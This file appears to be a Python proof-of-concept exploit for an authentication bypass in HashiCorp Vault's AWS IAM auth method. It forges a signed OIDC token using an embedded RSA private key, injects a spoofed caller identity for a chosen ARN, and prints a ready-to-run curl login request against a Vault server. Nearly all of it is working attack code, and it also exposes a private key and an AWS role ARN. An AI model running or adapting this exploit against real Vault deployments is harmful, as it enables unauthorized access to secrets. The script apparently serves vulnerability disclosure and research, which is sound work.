#!/usr/bin/env python3
|
# -*- coding: utf-8 -*-
|
|
# Proof of Concept Exploit for HashiCorp Vault AWS IAM auth bypass
|
# 08/07/2020 - [email protected]
|
|
import argparse
|
import jwt
|
import time
|
import base64
|
|
|
# Constants used by my fake OIDC IDP.
|
# Replace this to use your own
|
audience = "abcdef"
|
issuer = "https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/"
|
roleARN = "arn:aws:iam::242434931706:role/oidc-role"
|
|
priv = """
|
-----BEGIN RSA PRIVATE KEY-----
|
MIIEowIBAAKCAQEAqWoB0Z/EFVTBRuydiSCh7eIaL5/7ynQJzfpWrsVUhAMXbhxj
|
h6PBcxPJ0fQHHosUg0g65JPrzIu3ascaW3xHdEskZmgcTmvPyFvW2Ex0sgpr85mH
|
/ZLm1gSdMoGFRVRTDkfLeV7Pry3F8KAjDFPnd8Ey+Z+RDURyt+Lskqa1805Fzu/P
|
uQ9aeOX0Q9SCuC1eO+GcEi6l2c8s8VrdytGHkApMuRw20DdSqFhmhlgQW7NWJRzV
|
oZXC7IogtoPfSOHc26fWXdxy+cApIQymnBRp1gqXi4sdKtYVRi7sN8vaS7qDP4eA
|
KVDn3l0OngYzxoEbukK0wDezq8uS7hLTOfadLQIDAQABAoIBABKslLa+naacSRHA
|
Uz0iU7cdDTXitKaEU/BYf+WT6tUCYjrI9k+lRVWiAMUb2Q0M154BADzh8UQCwp0K
|
hWVANcAj6EdBgp1CVQ0I0o3VH6fgbjXT3qGc58T/jTRcAoy51s3kLBGc2de9e+wi
|
OrrJJOKWcUACzsJfoSWT5e/kYHoJIMUmUw0427gCWSYaYpgFv0ZxF/edI3ssof9C
|
o/yx2b0Zl49Jzyob2NAeuvmsi1aLu4lykl/7BexLEA5tdPsQSPb9N8A6Z28rOZ+A
|
BgUqF9NK4OVx1BX7T2OKCEJcH1sM5iDmYv55/7g+30dGH0i/P8gbhNsUevXMgBPw
|
9x1ePAECgYEA2SMh6cmgHTWBwHr6yHBb0pIUv/VLCnSBorG52wpr+5/CKF4F4DFS
|
nzHiHs1GxMTpZVUhg+cKXNxyUHk8AvJMk1+9C9zov8FTUr3WHVarWUuKI5W0jzXb
|
Boo3WJPQjHoavYJxh+zVnxn0t3PtBlVt0udo4eKOO1+tj0m473wsuGECgYEAx7xH
|
gybcowJBSnLTLrannM7s855EdEL+09IIqA4m8uLW3FDVMDWbvPYNjyaD71eZ9JkM
|
wsEoP4f6dXd8eIcokGJ3c49VhPRKgYZPAUqCZxnbTs94GE+4z9aQ0LiFl0ZGbaX2
|
XP1eJdE3B0iGYDppcxZ9gq9ne+btU9tQJHA0KE0CgYBUwUbih4YNAK614Ar1pA3j
|
Yovg5bE10oYraC4Als/RdumFcjXe7cGvS/xUQ5IlCiuEFzeu0ccUuiOQz9Gh4MwN
|
FminMcJT3vVULa9e4k6d20N/YlcJM19b7SVvWLslqh+36yu/f61enfYMiZ5yQ3RL
|
x3IEAbe86zrG3GLob9LQ4QKBgAvCB6uu0/o8nb9WNxxe4EsY21YUEQ+PChVKHfxW
|
qPBPbjqV/5bQ8RQUoAO3Trj+PS/q+pdUa5wh0xqrKAaoXjjxsvp4i55CC0jIsUnw
|
KvEK0qA3EmjL+KMzjF7dHfAj0O2PgYtD1xD+2fBx0odDqQV/Y3AYB02B8KKpHHSo
|
rklZAoGBANGpZOBgGXjlBdrYNjD3TDbZrWhliTG5fme8QbjeXGp864SxG0hhK+qZ
|
O34CJXYSmu/5aiEoLH1wTH7ukcGFoRy/P590kwCSANEI+oioFFpo4xenwddB+FbJ
|
b83tKdOjOgWZHbQE+xUx41//ZuiP6l6kEpBoV9mbUMhvZi59iIR1
|
-----END RSA PRIVATE KEY-----
|
"""
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-a", "--arn", help="Target ARN", required=True)
|
parser.add_argument("-i", "--userid", help="Target UserID")
|
parser.add_argument("-r", "--role", help="Target Role", required=True)
|
parser.add_argument(
|
"-H", "--header", help="X-Vault-AWS-IAM-Server-ID value")
|
|
args = parser.parse_args()
|
|
|
def main():
|
|
sub = """ <GetCallerIdentityResponse><GetCallerIdentityResult>
|
<Arn>{0}</Arn>
|
<UserId>{1}</UserId>
|
</GetCallerIdentityResult></GetCallerIdentityResponse>""".format(args.arn, args.userid)
|
|
token = {
|
"iss": issuer,
|
"aud": audience,
|
"azp": audience,
|
"iat": int(time.time()),
|
"exp": int(time.time())+60*60*24,
|
"sub": sub
|
}
|
|
print("[x] fake token: ", token, "\n")
|
|
encoded = jwt.encode(token, priv, algorithm='RS256')
|
|
url = "https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity"\
|
+ "&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn={0}&WebIdentityToken={1}".format(
|
roleARN, encoded.decode('ascii'))
|
print("[x] serialize request to ", url, "\n")
|
|
print("[x] x-vault-aws-iam-server-id :", args.header, "\n")
|
|
headers = '{"Accept": ["application/json"], "Authorization": ["AWS4-HMAC-SHA256 Credential=foo/20160930/us-east-1/sts/aws4_request,'\
|
+ 'SignedHeaders=x-vault-aws-iam-server-id,Signature=badcow"], "X-Vault-AWS-IAM-Server-ID" : ["{0}"]}}'.format(args.header)
|
|
payload = """
|
curl -X POST -d '{{"role" : "{0}", "iam_http_request_method": "POST", "iam_request_body" : "YT1i", "iam_request_headers" : "{1}",\
|
"iam_request_url" : "{2}"}}' TARGET/v1/auth/aws/login
|
|
""".format(args.role, base64.b64encode(headers.encode('utf-8')).decode('ascii'), base64.b64encode(url.encode('utf-8')).decode('ascii'))
|
|
print("[x] run this on a system with vault connectivity: ", payload)
|
|
|
if __name__ == '__main__':
|
main()
|